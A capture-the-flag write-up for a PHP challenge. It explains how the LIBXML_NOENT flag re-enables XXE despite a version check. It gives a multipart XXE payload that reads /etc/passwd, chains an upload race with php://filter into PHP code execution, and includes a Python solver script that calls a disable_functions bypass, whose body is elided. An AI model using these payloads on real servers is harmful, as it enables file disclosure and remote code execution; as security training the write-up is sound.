31 Line PHP

Description

Like the legendary one- 31- line php challenge

62.84.114.238/

On the last step, you’ll need a recently published 0day.

Solution

Here's the challenge source code:

<?php
session_start();
if (!isset($_POST["data"])) {
    highlight_file(__FILE__);
    die();
}
if (!isset($_SESSION["id"])) {
    $_SESSION["id"] = md5(random_bytes(16));
}
$id = $_SESSION["id"];
echo "Welcome, $id\r\n";

if (!file_exists("/var/www/html/upload/" . $id)) {
    mkdir("/var/www/html/upload/" . $id, 0755, true);
}
$name = $_FILES["data"]["name"];
move_uploaded_file($_FILES["data"]["tmp_name"],"/var/www/html/upload/$id/$name");
if (PHP_VERSION_ID < 80000) {
    // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
    // disabled by default, so this function is no longer needed to protect against XXE attacks.
    $loader = libxml_disable_entity_loader(true);
}
$xmlfile = file_get_contents("/var/www/html/upload/$id/$name");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
unlink("/var/www/html/upload/$id/$name");
?>

XXE Injection

We can quite clearly see that this must have something to do with XML parsing. One part of the code stood out in particular:

if (PHP_VERSION_ID < 80000) {
    // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
    // disabled by default, so this function is no longer needed to protect against XXE attacks.
    $loader = libxml_disable_entity_loader(true);
}

The comments seem reasonable. Does this mean that there is no XXE here?

It turns out that this part was inspired by a WordPress bug a while back this year. While the above justification is correct, the nuance lies in how loadXML() is called.

It turns out that the LIBXML_NOENT flag actually enables entity substitution - the flag means that no entities will be left in the result, i.e. external entities will be fetched and substituted.

$dom->loadXML($xmlfile, LIBXML_NOENT);

So, surprisingly, we do have an XXE here. Here's an LFI payload:

------WebKitFormBoundaryO6d3yhN5GpxEyAKE
Content-Disposition: form-data; name="data"; filename="test.xml"
Content-Type: text/xml

<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "file:///etc/passwd" > ]>
<creds>
    <user>&myExternalEntity;</user>
    <pass>mypass</pass>
</creds>
------WebKitFormBoundaryO6d3yhN5GpxEyAKE
Content-Disposition: form-data; name="data"

test
------WebKitFormBoundaryO6d3yhN5GpxEyAKE--

PHP Code Injection

I started searching for flag files but had no luck. After asking the organizers, they confirmed that I must get an RCE somehow.

This got me looking back at the source code. Note that we have a remote file upload here - the uploaded file is at /var/www/html/upload/$id/$name and we have access to this file through the web server (the web root is /var/www/html). The only caveat is that the file is deleted as soon as the XML parsing is done.

This still allows us to request the file while the XML parsing is being performed. If we upload a PHP file, we can request that file again within the XML and use php://filter/ to reflect the output into the <user> tag.

<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/89e05a8b6e028eeda25a0845b9b3daaa/payload.php" >]>
<creds>
    <user>&xxe;</user>
    <pass></pass>
</creds>
    
<?php phpinfo(); ?>

Using the phpinfo() output, we can see the disable_functions configuration.

As we can see, all of the functions that can give us a shell command execution are disabled.

disable_functions Bypass

The challenge hinted at a zero-day being needed for the last step.

A recent (published just 5 days ago) PoC allowed us to bypass disable_functions on all PHP versions.

This allowed us to get shell RCE and run the /readflag binary to read the flag.

import requests
import re
import base64

FILENAME = 'payload.php'
TARGET = 'http://62.84.114.238'
COMMAND = '/readflag'

with open(FILENAME, 'w') as f:
    f.write("""
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/3354e780fbef91d0ebc5875d77aee578/{}" >]>
<creds>
    <user>&xxe;</user>
    <pass></pass>
</creds>
    """.format(FILENAME) + """
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('{}');""".format(COMMAND) + r"""

... EXPLOIT HERE ...

?>
""")

r = requests.post(TARGET,
    files = {'data': (FILENAME, open(FILENAME, 'rb'))},
    data = {'data': 'test'},
    headers = {'Cookie': 'PHPSESSID=85ab80ed3e1f88a7827a75c5f9dc7c1f'}
)

print(r.text)

match = re.search('You have logged in as user (.*)', r.text)
print(match[1])
print(base64.b64decode(match[1]).decode())

The flag is spbctf{XX3_2_rCe_w3Ll_D0n3}\